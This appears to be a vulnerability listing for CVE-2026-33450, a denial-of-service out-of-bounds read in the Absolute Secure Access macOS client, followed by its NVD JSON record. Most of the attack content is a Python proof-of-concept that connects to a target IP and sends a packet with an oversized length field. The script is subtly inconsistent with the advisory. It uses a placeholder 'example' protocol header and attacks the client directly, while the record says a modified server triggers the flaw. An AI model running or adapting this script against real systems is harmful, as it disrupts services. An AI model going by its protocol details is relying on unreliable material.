CVE-2026-33450

import socket # Target IP and Port of the MacOS Client service TARGET_IP = "192.168.1.100" TARGET_PORT = 443 def send_malformed_packet(): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Construct a malformed packet # This PoC simulates a packet with a length field larger than the actual payload, # triggering an Out of Bounds Read condition. # Note: The specific protocol structure depends on NetMotion's implementation. magic_bytes = b'\x00\x01\x02\x03' # Example protocol header # Malformed length: 0xFFFF (65535) but payload is only 10 bytes malformed_length = b'\xFF\xFF' payload = b'A' * 10 malicious_packet = magic_bytes + malformed_length + payload # Send malicious payload s.send(malicious_packet) print("[+] Malformed packet sent successfully.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malformed_packet()

{"cve": {"id": "CVE-2026-33450", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:31.683", "lastModified": "2026-05-05T02:31:13.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CVE-2026-33450 is an out of bounds read vulnerability in the Secure \nAccess MacOS client prior to 14.50. Attackers with control of a modified\n server can send a malformed packet to the client causing a denial of \nservice."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.50", "matchCriteriaId": "FBD1BC48-5034-499F-8C00-89FCD8EA2FC6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-33450", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}